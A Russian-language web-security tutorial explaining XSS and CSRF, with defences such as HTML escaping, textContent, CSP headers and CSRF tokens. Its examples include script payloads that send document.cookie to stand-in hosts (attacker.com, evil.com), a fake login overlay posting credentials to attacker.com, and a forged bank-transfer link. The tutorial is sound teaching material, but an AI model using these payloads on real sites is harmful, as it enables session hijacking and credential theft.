#3 – XSS, CSRF и уязвимости во Front-end

Что такое XSS?

Для начала разберёмся с таким понятием, как XSS. XSS (или Cross-Site Scripting) — это уязвимость, при которой злоумышленник вставляет вредоносный JavaScript-код на веб-страницу, и этот код затем выполняется в браузере другого пользователя.

Проще говоря: пользователь заходит на сайт, считая его безопасным, но его браузер выполняет чужой вредоносный код — и делает это незаметно для самого пользователя.

Какие бывают типы XSS?

Существует несколько основных типов XSS:

Reflected XSS

Это когда вредоносный скрипт вставляется прямо в URL и тут же отражается в ответе сервера. Он временный, но срабатывает мгновенно.

Пример: URL, в котором параметром передаётся скрипт.

https://example.com/search?q=<script>alert('XSS')</script>

Если сервер не фильтрует параметр q, скрипт будет выполнен прямо в браузере.

Stored XSS

Более опасный вид. Злоумышленник сохраняет вредоносный скрипт в базу данных — например, в комментариях, чате, отзывах. И каждый, кто потом читает эти данные, получает заражённую страницу.

Представим, что в поле комментария пользователь вставил скрипт. Такой код сохраняется в базу и каждый, кто откроет страницу с отзывом, отправит свои cookie хакеру.

<script>fetch("http://attacker.com/cookie=" + document.cookie)</script>

Как через XSS украсть cookie?

Допустим, сайт не ограничивает доступ к document.cookie, и злоумышленник вставляет следующий код:

<script>
 fetch("http://evil.com?cookie=" + document.cookie)
</script>

Что произойдёт? Любой пользователь, открывший такую страницу, отправит свои cookie на внешний сервер. Если, к примеру, в cookie содержится token=xyz123, хакер сможет использовать этот токен — и получить доступ к аккаунту.

Fake UI: фишинг через фронтенд

Другой вид атаки — создание поддельного интерфейса. Хакер вставляет код, отображающий форму входа. Пользователь думает, что его разлогинило, вводит свои данные — и отправляет их злоумышленнику.

Именно поэтому XSS так опасен: злоумышленник может запускать произвольный JavaScript-код от имени сайта, а вы об этом даже не узнаете.

<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
	<form action="http://attacker.com/save" method="POST">
		<h2>Пожалуйста, войдите заново</h2>
		<input name="email" placeholder="Email"><br>
		<input name="password" placeholder="Пароль" type="password"><br>
		<button>Войти</button>
	</form>
</div>

Что такое CSRF?

Перед тем как поговорить о защите, разберём ещё одну уязвимость — CSRF (Cross-Site Request Forgery).

Это атака, при которой злоумышленник заставляет браузер пользователя выполнить действие на сайте, где он уже авторизован.

Пример: вы вошли на сайт bank.com, и кто-то присылает ссылку:

<a href="https://bank.com/transfer?to=attacker&sum=1000">

Если сайт не проверяет источник запроса, браузер автоматически выполнит перевод, используя уже имеющуюся cookie-сессию.

Сайт "думает", что запрос пришёл от настоящего пользователя, и выполняет его. В результате злоумышленник может инициировать любое действие от вашего имени.

Как защититься от XSS?

Основные меры защиты просты, главное — не забывать их применять:

1. Экранирование HTML

Во всех языках есть функции, убирающие вредоносные теги. Например, в PHP это htmlspecialchars. Используйте их при любом выводе пользовательских данных.

echo htmlspecialchars($name);

2. Не используйте innerHTML

В JavaScript лучше использовать textContent, так как innerHTML вставляет HTML-код как есть, а textContent — только текст.

element.textContent = name;

3. Content Security Policy (CSP)

Добавляйте заголовки CSP, чтобы запретить выполнение встроенных скриптов:

Content-Security-Policy: script-src 'self'

4. Используйте безопасные фреймворки

React, Vue, Django и другие шаблонизаторы по умолчанию экранируют HTML. Это дополнительная защита от XSS.

Вывод: валидируйте пользовательский ввод и никогда не вставляйте его напрямую в HTML или JavaScript-код. Сначала обрабатывайте данные — потом используйте.

Как защититься от CSRF?

Для защиты от CSRF используются CSRF-токены. Это уникальные значения, которые передаются в форме и проверяются при отправке запроса.

<input type="hidden" name="csrf_token" value="abc123">

Сервер проверяет наличие и корректность токена. В большинстве фреймворков (например, Django) CSRF-токены добавляются автоматически при использовании специальной директивы.